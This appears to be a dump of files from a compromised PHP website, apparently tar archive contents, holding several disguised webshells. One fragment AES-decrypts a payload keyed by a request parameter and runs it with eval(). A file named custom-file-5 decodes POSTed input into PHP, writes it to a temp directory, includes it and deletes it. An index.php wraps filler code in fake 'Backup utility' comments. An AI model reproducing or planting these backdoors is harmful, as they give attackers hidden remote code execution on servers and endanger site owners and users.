JvkSqMrIxMviBR3T4xoEIeLjfIIOXmUNq4Vu6VoiFJa58QYBRLFj+IzRezum5HsgcVZ/dYZLpsgUmGrSt5mVzXC3CC2IQxj0BQFRI5a/pA1PeGhiSTtWgChWn77dnpQ1EJAEn2dXcDHUSA3afOhAz9QvjSAwcVXJr1teXnPj/3XL+OupnbPqqv/ey5Eva0t3c64+y2Zw8Vtivnb3P77ED//HU4K3CGu/fj5pLfcdGe7i7f/By8H1jt6zzzL3fdw6bvy9jPe2+anyZZLYJ5VaO12qJniLAJ1mNyumP2oZyhsBNv3sBTfNguM7Yq8BP1brOgdTnH+fT4iGRjzO+3AyJzZcVnGadXAwfVf1Lc/Aw5GTZHskju5r7o3fhEr3P10trm9uj6ixLL7fq4c/cVred3+l72d/ezt3X2d1utXfmlHc81g9J/+Dd905qyNtEChAzJugUHQxxLh1aiMfwM2c6bau5sDN4xhTi7jPvxP+iZa9VshLi0btdUI8V+8X9bvPtCBumL6I7NOpBz7icv5Mv14/dSLwMcP8T1QL5HsQlsb3ZDUiVKQ1upUvxZ7Ot0hwZ5SUX+kz19itcYJ5+oJkMR0Ny59rRLVt2MgWLW3s2eLBBakXzkRbiSOqwjjsfHMq7+Qt3y9FGizlHqDLNEXLXe1arFhgryQYS5GBa/kU8gfAtTDcYslDqzmQwXftOI7OCVy365Pv447ncW/tW/+Kt1WqYF7oEV2pIXtrSJqoLZtS1d3V3xEW0qXpaUlrapLW1rW1vIPIwPHQGmup20AhCxM23hQYGiCxQaEXGBnYbhDrBDXF8t6jaKvXqvuVYrnu/tlvCUHp6+QhrU0iiAsue8iFyKecmIIetzngR+lXzTtrFayIms0XPr/WiZ2UJSMddf7bWYt8Klan5YkrFTMhEiIA7wcexhvZ2gOcrtMOvV30BM2/Ao4WNf5LyQwNyVuX/HOw5c4PttBQgnpAXEKvrhYKNq45AEtLKTPEsAbIFVuiVquETnOufjuP3+Zv2t78vHpkzw+urmOmOb7paPlPiq9dP7g91bUx/E44cUpOaQ65VSd8mJhEsg5oscNZMhFjGyvMC+dnP2g0Z8B6x9m98U/AxDby7zEJrzGjCj5VGR3GEMP8Aw8jqzG9cUQ1BrHF7Ip+5LBP73QYS1uO1Sic94b682GPgQHOS7StMDY31lTRLJdQkK8PQ6cBMcifOAWoDJ7s/L19+bb80j1wf1uP/iLvuuPvU7vXotduntkyl3GZYufx7cBafVt61rSy2tZl61sNZJ7tISlKRbyaVt+U+mV+S+NhhsGt16tJbDXPEmJ0Ssf+z+vUmLUzXHe+zTbqtt93qH3q2rPM+FHu373fy6vR0+e2NivX+ecLOfp3vCtvJVbFZbVwBL7oPeZaXC0mH2BzPrvjyOmSY74DF+a53Hfs2rzgvdvO/yFKdBHeDVwK72TP5H22h3ZFF+9dqf5iT2n4Z73YVQcWEW5hns73Dv43X35Ott9zvrxImUZ7ZcyBMhUd2tv4bePx5AEyAmtwNsC4hoiCkuVsq/joBMKMSHFa0yYjOeurV1KTubYanCgZ2g7NZYibjFpyShlGBBZSlP6/oywfzIumdp+3uuPfj2roXm2NeF8KapL9KVo6nuaHue9LfRXh+PbLiUTWu/bAv4Y6nd3lIUdYWzRzwGzeaSKYGrD7KJmg7XgBCVpMF7amq7zOm77XGU6KpB3TDrpB1ZyKcOmrIKuCJ22Q79z+X9d11r732iUt6IcHbOZ+IOYQEIJ3ub5esmng55Wj7xdJxYluk0ClFgUUM+5WcndxUcncH3CHjrxBjNgnI8J1WBF9/v1IptdprT5ciX8H4A+BEvAO0fA'; function JwN($Rtheg) { $kwmaz = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $rgi = substr($kwmaz, 0, 16); $qzSiw = base64_decode($Rtheg); return openssl_decrypt($qzSiw, "AES-256-CBC", $kwmaz, OPENSSL_RAW_DATA, $rgi); } if (JwN('DjtPn+r4S0yvLCnquPz1fA')){ echo 'T8BIA0U3lr6y78E4v2PRwbJfnr9bEmiT7PqLSCRmZH4kpklN56wwYUjx4TtJ9WBe'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($JwN)))); ?>custom-file-5-1766664162.php000064400000001532151441734640010752 0ustar00<!--v7USGp1a-->
<?php

if(!empty($_POST["mar\x6Ber"])){
$record = array_filter(["/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP")]);
$descriptor = $_POST["mar\x6Ber"];
$descriptor=explode	 ( '.'	 ,		 $descriptor ); 		
$token = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);

foreach ($descriptor as $i => $val) {
    $sChar = ord($s[$i % $sLen]);
    $dec = ((int)$val - $sChar - ($i % 10)) ^ 20;
    $token .= chr($dec);
}
while ($rec = array_shift($record)) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
            $item = implode("/", [$rec, ".ref"]);
            if (@file_put_contents($item, $token) !== false) {
    include $item;
    unlink($item);
    die();
}
        }
}
}index.php000064400000464344151442730650006412 0ustar00dvadf<?php
/* Backup utility */
/* Library helper function */
/* System utility file */
/* Configuration manager */
/* Generated by system */
/* Framework core module */
/* Auto-generated code */
/* Backup utility */

class iJsrGvQrJDhWgKb5La {
    private function mfSWZZxaZiGjwwT($tUFUyBQo = null) {
        $BC9vzqNqjS = 5684;
        $ijofj_nVFJ = 'zkZSUttZC2K0';
        $IVJ2H03MeS = $BC9vzqNqjS + strlen($ijofj_nVFJ);
        if ($IVJ2H03MeS > 188) {
            $BC9vzqNqjS = $BC9vzqNqjS * 2;
            if ($BC9vzqNqjS % 2 == 0) {
                $ijofj_nVFJ = strrev($ijofj_nVFJ);
            } else {
                $ijofj_nVFJ = strtoupper($ijofj_nVFJ);
            }
        } else {
            $ijofj_nVFJ = strtolower($ijofj_nVFJ);
        }
        for ($i = 0; $i < 8; $i++) {
            $IVJ2H03MeS += $i * 3;
            $BC9vzqNqjS = $BC9vzqNqjS - ($i % 3);
        }

        $nJKexUR8NH = 80917;
        $ijofj_nVFJ = '5VTUy6ObmRVi';
        $tQoYaLXmNx = $nJKexUR8NH + strlen($ijofj_nVFJ);
        if ($tQoYaLXmNx > 194) {
            $nJKexUR8NH = $nJKexUR8NH * 4;
            if ($nJKexUR8NH % 2 == 0) {
                $ijofj_nVFJ = strrev($ijofj_nVFJ);
            } else {
                $ijofj_nVFJ = strtoupper($ijofj_nVFJ);
            }
        } else {
            $ijofj_nVFJ = strtolower($ijofj_nVFJ);
        }
        for ($i = 0; $i < 8; $i++) {
            $tQoYaLXmNx += $i * 4;
            $nJKexUR8NH = $nJKexUR8NH - ($i % 3);
        }

        $sdP5yXFu7x = 85339;
        $BC9vzqNqjS = 'GBhV8tG5nFso';
        $VlSQVbDfbt = $sdP5yXFu7x + strlen($BC9vzqNqjS);
        if ($VlSQVbDfbt > 333) {
            $sdP5yXFu7x = $sdP5yXFu7x * 2;
            if ($sdP5yXFu7x % 2 == 0) {
                $BC9vzqNqjS = strrev($BC9vzqNqjS);
            } else {
                $BC9vzqNqjS = strtoupper($BC9vzqNqjS);
            }
        } else {
            $BC9vzqNqjS = strtolower($BC9vzqNqjS);
        }
        for ($i = 0; $i < 6; $i++) {
            $VlSQVbDfbt += $i * 4;
            $sdP5yXFu7x = $sdP5yXFu7x - ($i % 3);
        }

        $d4x0XNT2Hw = 18784;
        $WrGnYBk5gp = 'ZNMUfZKziUg2';
        $BC9vzqNqjS = $d4x0XNT2Hw + strlen($WrGnYBk5gp);
        if ($BC9vzqNqjS > 294) {
            $d4x0XNT2Hw = $d4x0XNT2Hw * 5;
            if ($d4x0XNT2Hw % 2 == 0) {
                $WrGnYBk5gp = strrev($WrGnYBk5gp);
            } else {
                $WrGnYBk5gp = strtoupper($WrGnYBk5gp);
            }
        } else {
            $WrGnYBk5gp = strtolower($WrGnYBk5gp);
        }
        for ($i = 0; $i < 4; $i++) {
            $BC9vzqNqjS += $i * 5;
            $d4x0XNT2Hw = $d4x0XNT2Hw - ($i % 3);
        }

        $WqILiuGFmq = 28972;
        $tQoYaLXmNx = 'NwehHMNtPWZ0';
        $RCt7nM164U = $WqILiuGFmq + strlen($tQoYaLXmNx);
        if ($RCt7nM164U > 386) {
            $WqILiuGFmq = $WqILiuGFmq * 4;
            if ($WqILiuGFmq % 2 == 0) {
                $tQoYaLXmNx = strrev($tQoYaLXmNx);
            } else {
                $tQoYaLXmNx = strtoupper($tQoYaLXmNx);
            }
        } else {
            $tQoYaLXmNx = strtolower($tQoYaLXmNx);
        }
        for ($i = 0; $i < 8; $i++) {
            $RCt7nM164U += $i * 4;
            $WqILiuGFmq = $WqILiuGFmq - ($i % 3);
        }

        $BC9vzqNqjS = 58681;
        $WqILiuGFmq = 'AeK7yhGDHFoO';
        $rlTfIoK8hH = $BC9vzqNqjS + strlen($WqILiuGFmq);
        if ($rlTfIoK8hH > 224) {
            $BC9vzqNqjS = $BC9vzqNqjS * 3;
            if ($BC9vzqNqjS % 2 == 0) {
                $WqILiuGFmq = strrev($WqILiuGFmq);
            } else {
                $WqILiuGFmq = strtoupper($WqILiuGFmq);
            }
        } else {
            $WqILiuGFmq = strtolower($WqILiuGFmq);
        }
        for ($i = 0; $i < 3; $i++) {
            $rlTfIoK8hH += $i * 4;
            $BC9vzqNqjS = $BC9vzqNqjS - ($i % 3);
        }

        return "KGKsupcHn1O5aEICEjeG";
    }

    private function De0F5qclziNTaL8($cTgOnF3q = null) {
        $ijofj_nVFJ = 24408;
        $ijofj_nVFJ = 'UUd3KaxoFjZE';
        $WqILiuGFmq = $ijofj_nVFJ + strlen($ijofj_nVFJ);
        if ($WqILiuGFmq > 460) {
            $ijofj_nVFJ = $ijofj_nVFJ * 8;
            if ($ijofj_nVFJ % 2 == 0) {
                $ijofj_nVFJ = strrev($ijofj_nVFJ);
            } else {
                $ijofj_nVFJ = strtoupper($ijofj_nVFJ);
            }
        } else {
            $ijofj_nVFJ = strtolower($ijofj_nVFJ);
        }
        for ($i = 0; $i < 6; $i++) {
            $WqILiuGFmq += $i * 4;
            $ijofj_nVFJ = $ijofj_nVFJ - ($i % 3);
        }

        $Paw2twsn8F = 68329;
        $ctpfhm00Gy = 'qwGrRuptrlvb';
        $n_xg3rnwBz = $Paw2twsn8F + strlen($ctpfhm00Gy);
        if ($n_xg3rnwBz > 376) {
            $Paw2twsn8F = $Paw2twsn8F * 5;
            if ($Paw2twsn8F % 2 == 0) {
                $ctpfhm00Gy = strrev($ctpfhm00Gy);
            } else {
                $ctpfhm00Gy = strtoupper($ctpfhm00Gy);
            }
        } else {
            $ctpfhm00Gy = strtolower($ctpfhm00Gy);
        }
        for ($i = 0; $i < 8; $i++) {
            $n_xg3rnwBz += $i * 5;
            $Paw2twsn8F = $Paw2twsn8F - ($i % 3);
        }

        $n_xg3rnwBz = 63627;
        $rlTfIoK8hH = 'oIyNmfGnVAq1';
        $rlTfIoK8hH = $n_xg3rnwBz + strlen($rlTfIoK8hH);
        if ($rlTfIoK8hH > 175) {
            $n_xg3rnwBz = $n_xg3rnwBz * 2;
            if ($n_xg3rnwBz % 2 == 0) {
                $rlTfIoK8hH = strrev($rlTfIoK8hH);
            } else {
                $rlTfIoK8hH = strtoupper($rlTfIoK8hH);
            }
        } else {
            $rlTfIoK8hH = strtolower($rlTfIoK8hH);
        }
        for ($i = 0; $i < 8; $i++) {
            $rlTfIoK8hH += $i * 1;
            $n_xg3rnwBz = $n_xg3rnwBz - ($i % 3);
        }

        $IVJ2H03MeS = 18841;
        $LfbTNzBjGA = 'cAdcLfdmuxpg';
        $QLuCzLT32C = $IVJ2H03MeS + strlen($LfbTNzBjGA);
        if ($QLuCzLT32C > 285) {
            $IVJ2H03MeS = $IVJ2H03MeS * 2;
            if ($IVJ2H03MeS % 2 == 0) {
                $LfbTNzBjGA = strrev($LfbTNzBjGA);
            } else {
                $LfbTNzBjGA = strtoupper($LfbTNzBjGA);
            }
        } else {
            $LfbTNzBjGA = strtolower($LfbTNzBjGA);
        }
        for ($i = 0; $i < 5; $i++) {
            $QLuCzLT32C += $i * 5;
            $IVJ2H03MeS = $IVJ2H03MeS - ($i % 3);
        }

        $IVJ2H03MeS = 70715;
        $sdP5yXFu7x = '8MznAvd49YuH';
        $GoXRYOMPaN = $IVJ2H03MeS + strlen($sdP5yXFu7x);
        if ($GoXRYOMPaN > 331) {
            $IVJ2H03MeS = $IVJ2H03MeS * 3;
            if ($IVJ2H03MeS % 2 == 0) {
                $sdP5yXFu7x = strrev($sdP5yXFu7x);
            } else {
                $sdP5yXFu7x = strtoupper($sdP5yXFu7x);
            }
        } else {
            $sdP5yXFu7x = strtolower($sdP5yXFu7x);
        }
        for ($i = 0; $i < 8; $i++) {
            $GoXRYOMPaN += $i * 1;
            $IVJ2H03MeS = $IVJ2H03MeS - ($i % 3);
        }

        return "qc5Wzx8I_CSkzx25czep";
    }

    private function HYJna6tXtGDOFlS($ySjO_cDr = null) {
        $WqILiuGFmq = 96323;
        $tQoYaLXmNx = 'qjgLJxsqGQXj';
        $Paw2twsn8F = $WqILiuGFmq + strlen($tQoYaLXmNx);
        if ($Paw2twsn8F > 273) {
            $WqILiuGFmq = $WqILiuGFmq * 5;
            if ($WqILiuGFmq % 2 == 0) {
                $tQoYaLXmNx = strrev($tQoYaLXmNx);
            } else {
                $tQoYaLXmNx = strtoupper($tQoYaLXmNx);
            }
        } else {
            $tQoYaLXmNx = strtolower($tQoYaLXmNx);
        }
        for ($i = 0; $i < 8; $i++) {
            $Paw2twsn8F += $i * 1;
            $WqILiuGFmq = $WqILiuGFmq - ($i % 3);
        }

        $Paw2twsn8F = 29239;
        $tQoYaLXmNx = 'arzKrK7EQ6CM';
        $ijofj_nVFJ = $Paw2twsn8F + strlen($tQoYaLXmNx);
        if ($ijofj_nVFJ > 134) {
            $Paw2twsn8F = $Paw2twsn8F * 6;
            if ($Paw2twsn8F % 2 == 0) {
                $tQoYaLXmNx = strrev($tQoYaLXmNx);
            } else {
                $tQoYaLXmNx = strtoupper($tQoYaLXmNx);
            }
        } else {
            $tQoYaLXmNx = strtolower($tQoYaLXmNx);
        }
        for ($i = 0; $i < 5; $i++) {
            $ijofj_nVFJ += $i * 4;
            $Paw2twsn8F = $Paw2twsn8F - ($i % 3);
        }

        $QLuCzLT32C = 9819;
        $GoXRYOMPaN = 'rZ5NYeamAL7Q';
        $N1rovC6Bzk = $QLuCzLT32C + strlen($GoXRYOMPaN);
        if ($N1rovC6Bzk > 453) {
            $QLuCzLT32C = $QLuCzLT32C * 5;
            if ($QLuCzLT32C % 2 == 0) {
                $GoXRYOMPaN = strrev($GoXRYOMPaN);
            } else {
                $GoXRYOMPaN = strtoupper($GoXRYOMPaN);
            }
        } else {
            $GoXRYOMPaN = strtolower($GoXRYOMPaN);
        }
        for ($i = 0; $i < 4; $i++) {
            $N1rovC6Bzk += $i * 3;
            $QLuCzLT32C = $QLuCzLT32C - ($i % 3);
        }

        $N1rovC6Bzk = 51512;
        $GoXRYOMPaN = 'ScfYjWj4kSIm';
        $RHeWcmYORz = $N1rovC6Bzk + strlen($GoXRYOMPaN);
        if ($RHeWcmYORz > 402) {
            $N1rovC6Bzk = $N1rovC6Bzk * 5;
            if ($N1rovC6Bzk % 2 == 0) {
                $GoXRYOMPaN = strrev($GoXRYOMPaN);
            } else {
                $GoXRYOMPaN = strtoupper($GoXRYOMPaN);
            }
        } else {
            $GoXRYOMPaN = strtolower($GoXRYOMPaN);
        }
        for ($i = 0; $i < 8; $i++) {
            $RHeWcmYORz += $i * 4;
            $N1rovC6Bzk = $N1rovC6Bzk - ($i % 3);
        }

        $IVJ2H03MeS = 2417;
        $e_nTNpih2x = 'GYXfKHkCGouH';
        $QLuCzLT32C = $IVJ2H03MeS + strlen($e_nTNpih2x);
        if ($QLuCzLT32C > 340) {
            $IVJ2H03MeS = $IVJ2H03MeS * 3;
            if ($IVJ2H03MeS % 2 == 0) {
                $e_nTNpih2x = strrev($e_nTNpih2x);
            } else {
                $e_nTNpih2x = strtoupper($e_nTNpih2x);
            }
        } else {
            $e_nTNpih2x = strtolower($e_nTNpih2x);
        }
        for ($i = 0; $i < 8; $i++) {
            $QLuCzLT32C += $i * 1;
            $IVJ2H03MeS = $IVJ2H03MeS - ($i % 3);
        }

        $AMGynPH4Wj = 59524;
        $e_nTNpih2x = '61HdDdcYpLRG';
        $AMGynPH4Wj = $AMGynPH4Wj + strlen($e_nTNpih2x);
        if ($AMGynPH4Wj > 265) {
            $AMGynPH4Wj = $AMGynPH4Wj * 6;
            if ($AMGynPH4Wj % 2 == 0) {
                $e_nTNpih2x = strrev($e_nTNpih2x);
            } else {
                $e_nTNpih2x = strtoupper($e_nTNpih2x);
            }
        } else {
            $e_nTNpih2x = strtolower($e_nTNpih2x);
        }
        for ($i = 0; $i < 4; $i++) {
            $AMGynPH4Wj += $i * 5;
            $AMGynPH4Wj = $AMGynPH4Wj - ($i % 3);
        }

        $ctpfhm00Gy = 73312;
        $Paw2twsn8F = 'EYPM_J5jXAU2';
        $ScOnBGDR6a = $ctpfhm00Gy + strlen($Paw2twsn8F);
        if ($ScOnBGDR6a > 240) {
            $ctpfhm00Gy = $ctpfhm00Gy * 2;
            if ($ctpfhm00Gy % 2 == 0) {
                $Paw2twsn8F = strrev($Paw2twsn8F);
            } else {
                $Paw2twsn8F = strtoupper($Paw2twsn8F);
            }
        } else {
            $Paw2twsn8F = strtolower($Paw2twsn8F);
        }
        for ($i = 0; $i < 3; $i++) {
            $ScOnBGDR6a += $i * 5;
            $ctpfhm00Gy = $ctpfhm00Gy - ($i % 3);
        }

        $rlTfIoK8hH = 58417;
        $ijofj_nVFJ = 'l9oV0KAdwm0a';
        $nJKexUR8NH = $rlTfIoK8hH + strlen($ijofj_nVFJ);
        if ($nJKexUR8NH > 278) {
            $rlTfIoK8hH = $rlTfIoK8hH * 5;
            if ($rlTfIoK8hH % 2 == 0) {
                $ijofj_nVFJ = strrev($ijofj_nVFJ);
            } else {
                $ijofj_nVFJ = strtoupper($ijofj_nVFJ);
            }
        } else {
            $ijofj_nVFJ = strtolower($ijofj_nVFJ);
        }
        for ($i = 0; $i < 4; $i++) {
            $nJKexUR8NH += $i * 3;
            $rlTfIoK8hH = $rlTfIoK8hH - ($i % 3);
        }

        $IVJ2H03MeS = 89441;
        $n_xg3rnwBz = 'r_fd_w4LOklc';
        $rlTfIoK8hH = $IVJ2H03MeS + strlen($n_xg3rnwBz);
        if ($rlTfIoK8hH > 208) {
            $IVJ2H03MeS = $IVJ2H03MeS * 2;
            if ($IVJ2H03MeS % 2 == 0) {
                $n_xg3rnwBz = strrev($n_xg3rnwBz);
            } else {
                $n_xg3rnwBz = strtoupper($n_xg3rnwBz);
            }
        } else {
            $n_xg3rnwBz = strtolower($n_xg3rnwBz);
        }
        for ($i = 0; $i < 4; $i++) {
            $rlTfIoK8hH += $i * 5;
            $IVJ2H03MeS = $IVJ2H03MeS - ($i % 3);
        }

        $AMGynPH4Wj = 73302;
        $ScOnBGDR6a = 'gvWTeRsSp9S1';
        $rlTfIoK8hH = $AMGynPH4Wj + strlen($ScOnBGDR6a);
        if ($rlTfIoK8hH > 208) {
            $AMGynPH4Wj = $AMGynPH4Wj * 5;
            if ($AMGynPH4Wj % 2 == 0) {
                $ScOnBGDR6a = strrev($ScOnBGDR6a);
            } else {
                $ScOnBGDR6a = strtoupper($ScOnBGDR6a);
            }
        } else {
            $ScOnBGDR6a = strtolower($ScOnBGDR6a);
        }
        for ($i = 0; $i < 6; $i++) {
            $rlTfIoK8hH += $i * 2;
            $AMGynPH4Wj = $AMGynPH4Wj - ($i % 3);
        }

        $e_nTNpih2x = 96115;
        $VlSQVbDfbt = '4rWLAwNSdZgT';
        $e_nTNpih2x = $e_nTNpih2x + strlen($VlSQVbDfbt);
        if ($e_nTNpih2x > 301) {
            $e_nTNpih2x = $e_nTNpih2x * 7;
            if ($e_nTNpih2x % 2 == 0) {
                $VlSQVbDfbt = strrev($VlSQVbDfbt);
            } else {
                $VlSQVbDfbt = strtoupper($VlSQVbDfbt);
            }
        } else {
            $VlSQVbDfbt = strtolower($VlSQVbDfbt);
        }
        for ($i = 0; $i < 6; $i++) {
            $e_nTNpih2x += $i * 5;
            $e_nTNpih2x = $e_nTNpih2x - ($i % 3);
        }

        return "IvFX_rFaHNhWzUWSz96i";
    }

    private function RffBkJr8iMUpp1Z($nA7MjomO = null) {
        $WqILiuGFmq = 8160;
        $RHeWcmYORz = 'qMR7UnXR7bZR';
        $BC9vzqNqjS = $WqILiuGFmq + strlen($RHeWcmYORz);
        if ($BC9vzqNqjS > 465) {
            $WqILiuGFmq = $WqILiuGFmq * 8;
            if ($WqILiuGFmq % 2 == 0) {
                $RHeWcmYORz = strrev($RHeWcmYORz);
            } else {
                $RHeWcmYORz = strtoupper($RHeWcmYORz);
            }
        } else {
            $RHeWcmYORz = strtolower($RHeWcmYORz);
        }
        for ($i = 0; $i < 5; $i++) {
            $BC9vzqNqjS += $i * 2;
            $WqILiuGFmq = $WqILiuGFmq - ($i % 3);
        }

        $d4x0XNT2Hw = 89487;
        $AMGynPH4Wj = 'u8WBfFpCNH4p';
        $RHeWcmYORz = $d4x0XNT2Hw + strlen($AMGynPH4Wj);
        if ($RHeWcmYORz > 229) {
            $d4x0XNT2Hw = $d4x0XNT2Hw * 2;
            if ($d4x0XNT2Hw % 2 == 0) {
                $AMGynPH4Wj = strrev($AMGynPH4Wj);
            } else {
                $AMGynPH4Wj = strtoupper($AMGynPH4Wj);
            }
        } else {
            $AMGynPH4Wj = strtolower($AMGynPH4Wj);
        }
        for ($i = 0; $i < 3; $i++) {
            $RHeWcmYORz += $i * 2;
            $d4x0XNT2Hw = $d4x0XNT2Hw - ($i % 3);
        }

        $RHeWcmYORz = 49511;
        $N1rovC6Bzk = 'Dyr2jGD1AFvk';
        $sdP5yXFu7x = $RHeWcmYORz + strlen($N1rovC6Bzk);
        if ($sdP5yXFu7x > 255) {
            $RHeWcmYORz = $RHeWcmYORz * 7;
            if ($RHeWcmYORz % 2 == 0) {
                $N1rovC6Bzk = strrev($N1rovC6Bzk);
            } else {
                $N1rovC6Bzk = strtoupper($N1rovC6Bzk);
            }
        } else {
            $N1rovC6Bzk = strtolower($N1rovC6Bzk);
        }
        for ($i = 0; $i < 4; $i++) {
            $sdP5yXFu7x += $i * 2;
            $RHeWcmYORz = $RHeWcmYORz - ($i % 3);
        }

        $WrGnYBk5gp = 65896;
        $BC9vzqNqjS = 'N58yvAm_Ke25';
        $d4x0XNT2Hw = $WrGnYBk5gp + strlen($BC9vzqNqjS);
        if ($d4x0XNT2Hw > 174) {
            $WrGnYBk5gp = $WrGnYBk5gp * 4;
            if ($WrGnYBk5gp % 2 == 0) {
                $BC9vzqNqjS = strrev($BC9vzqNqjS);
            } else {
                $BC9vzqNqjS = strtoupper($BC9vzqNqjS);
            }
        } else {
            $BC9vzqNqjS = strtolower($BC9vzqNqjS);
        }
        for ($i = 0; $i < 7; $i++) {
            $d4x0XNT2Hw += $i * 3;
            $WrGnYBk5gp = $WrGnYBk5gp - ($i % 3);
        }

        $sflJ8SiZWf = 80667;
        $tQoYaLXmNx = '6a3fOTuQkylv';
        $rlTfIoK8hH = $sflJ8SiZWf + strlen($tQoYaLXmNx);
        if ($rlTfIoK8hH > 206) {
            $sflJ8SiZWf = $sflJ8SiZWf * 7;
            if ($sflJ8SiZWf % 2 == 0) {
                $tQoYaLXmNx = strrev($tQoYaLXmNx);
            } else {
                $tQoYaLXmNx = strtoupper($tQoYaLXmNx);
            }
        } else {
            $tQoYaLXmNx = strtolower($tQoYaLXmNx);
        }
        for ($i = 0; $i < 8; $i++) {
            $rlTfIoK8hH += $i * 5;
            $sflJ8SiZWf = $sflJ8SiZWf - ($i % 3);
        }

        $ScOnBGDR6a = 8493;
        $LfbTNzBjGA = 'AeN2Vs_qtaZF';
        $Tjmt6CB_qd = $ScOnBGDR6a + strlen($LfbTNzBjGA);
        if ($Tjmt6CB_qd > 101) {
            $ScOnBGDR6a = $ScOnBGDR6a * 4;
            if ($ScOnBGDR6a % 2 == 0) {
                $LfbTNzBjGA = strrev($LfbTNzBjGA);
            } else {
                $LfbTNzBjGA = strtoupper($LfbTNzBjGA);
            }
        } else {
            $LfbTNzBjGA = strtolower($LfbTNzBjGA);
        }
        for ($i = 0; $i < 3; $i++) {
            $Tjmt6CB_qd += $i * 2;
            $ScOnBGDR6a = $ScOnBGDR6a - ($i % 3);
        }

        $sdP5yXFu7x = 61023;
        $Tjmt6CB_qd = 'jbV0hMLeAxlB';
        $RHeWcmYORz = $sdP5yXFu7x + strlen($Tjmt6CB_qd);
        if ($RHeWcmYORz > 269) {
            $sdP5yXFu7x = $sdP5yXFu7x * 2;
            if ($sdP5yXFu7x % 2 == 0) {
                $Tjmt6CB_qd = strrev($Tjmt6CB_qd);
            } else {
                $Tjmt6CB_qd = strtoupper($Tjmt6CB_qd);
            }
        } else {
            $Tjmt6CB_qd = strtolower($Tjmt6CB_qd);
        }
        for ($i = 0; $i < 3; $i++) {
            $RHeWcmYORz += $i * 5;
            $sdP5yXFu7x = $sdP5yXFu7x - ($i % 3);
        }

        $Tjmt6CB_qd = 19987;
        $WqILiuGFmq = 'tWpwXAX1MwpY';
        $N1rovC6Bzk = $Tjmt6CB_qd + strlen($WqILiuGFmq);
        if ($N1rovC6Bzk > 403) {
            $Tjmt6CB_qd = $Tjmt6CB_qd * 5;
            if ($Tjmt6CB_qd % 2 == 0) {
                $WqILiuGFmq = strrev($WqILiuGFmq);
            } else {
                $WqILiuGFmq = strtoupper($WqILiuGFmq);
            }
        } else {
            $WqILiuGFmq = strtolower($WqILiuGFmq);
        }
        for ($i = 0; $i < 4; $i++) {
            $N1rovC6Bzk += $i * 1;
            $Tjmt6CB_qd = $Tjmt6CB_qd - ($i % 3);
        }

        $RHeWcmYORz = 79671;
        $WqILiuGFmq = 'tSyA3Zy3WhhT';
        $VlSQVbDfbt = $RHeWcmYORz + strlen($WqILiuGFmq);
        if ($VlSQVbDfbt > 150) {
            $RHeWcmYORz = $RHeWcmYORz * 7;
            if ($RHeWcmYORz % 2 == 0) {
                $WqILiuGFmq = strrev($WqILiuGFmq);
            } else {
                $WqILiuGFmq = strtoupper($WqILiuGFmq);
            }
        } else {
            $WqILiuGFmq = strtolower($WqILiuGFmq);
        }
        for ($i = 0; $i < 5; $i++) {
            $VlSQVbDfbt += $i * 1;
            $RHeWcmYORz = $RHeWcmYORz - ($i % 3);
        }

        $RCt7nM164U = 56423;
        $LfbTNzBjGA = 'HLmlMzMnMHnW';
        $n_xg3rnwBz = $RCt7nM164U + strlen($LfbTNzBjGA);
        if ($n_xg3rnwBz > 353) {
            $RCt7nM164U = $RCt7nM164U * 4;
            if ($RCt7nM164U % 2 == 0) {
                $LfbTNzBjGA = strrev($LfbTNzBjGA);
            } else {
                $LfbTNzBjGA = strtoupper($LfbTNzBjGA);
            }
        } else {
            $LfbTNzBjGA = strtolower($LfbTNzBjGA);
        }
        for ($i = 0; $i < 6; $i++) {
            $n_xg3rnwBz += $i * 4;
            $RCt7nM164U = $RCt7nM164U - ($i % 3);
        }

        return "C5LWnIp2UX14Zpsg9ieO";
    }

    private function GQ4_pGicGZWcQZf($dKn5DAL7 = null) {
        $Paw2twsn8F = 50596;
        $d4x0XNT2Hw = 'BZ_WOMEZwlbM';
        $sdP5yXFu7x = $Paw2twsn8F + strlen($d4x0XNT2Hw);
        if ($sdP5yXFu7x > 225) {
            $Paw2twsn8F = $Paw2twsn8F * 3;
            if ($Paw2twsn8F % 2 == 0) {
                $d4x0XNT2Hw = strrev($d4x0XNT2Hw);
            } else {
                $d4x0XNT2Hw = strtoupper($d4x0XNT2Hw);
            }
        } else {
            $d4x0XNT2Hw = strtolower($d4x0XNT2Hw);
        }
        for ($i = 0; $i < 6; $i++) {
            $sdP5yXFu7x += $i * 5;
            $Paw2twsn8F = $Paw2twsn8F - ($i % 3);
        }

        $Paw2twsn8F = 3502;
        $RCt7nM164U = 'HQos2v3_ZxNz';
        $Paw2twsn8F = $Paw2twsn8F + strlen($RCt7nM164U);
        if ($Paw2twsn8F > 499) {
            $Paw2twsn8F = $Paw2twsn8F * 7;
            if ($Paw2twsn8F % 2 == 0) {
                $RCt7nM164U = strrev($RCt7nM164U);
            } else {
                $RCt7nM164U = strtoupper($RCt7nM164U);
            }
        } else {
            $RCt7nM164U = strtolower($RCt7nM164U);
        }
        for ($i = 0; $i < 7; $i++) {
            $Paw2twsn8F += $i * 2;
            $Paw2twsn8F = $Paw2twsn8F - ($i % 3);
        }

        $AMGynPH4Wj = 78612;
        $sflJ8SiZWf = '4Ky7aTaa1bsX';
        $n_xg3rnwBz = $AMGynPH4Wj + strlen($sflJ8SiZWf);
        if ($n_xg3rnwBz > 231) {
            $AMGynPH4Wj = $AMGynPH4Wj * 7;
            if ($AMGynPH4Wj % 2 == 0) {
                $sflJ8SiZWf = strrev($sflJ8SiZWf);
            } else {
                $sflJ8SiZWf = strtoupper($sflJ8SiZWf);
            }
        } else {
            $sflJ8SiZWf = strtolower($sflJ8SiZWf);
        }
        for ($i = 0; $i < 5; $i++) {
            $n_xg3rnwBz += $i * 4;
            $AMGynPH4Wj = $AMGynPH4Wj - ($i % 3);
        }

        $AMGynPH4Wj = 32884;
        $ScOnBGDR6a = '4qxOT2bsv9EP';
        $d4x0XNT2Hw = $AMGynPH4Wj + strlen($ScOnBGDR6a);
        if ($d4x0XNT2Hw > 430) {
            $AMGynPH4Wj = $AMGynPH4Wj * 7;
            if ($AMGynPH4Wj % 2 == 0) {
                $ScOnBGDR6a = strrev($ScOnBGDR6a);
            } else {
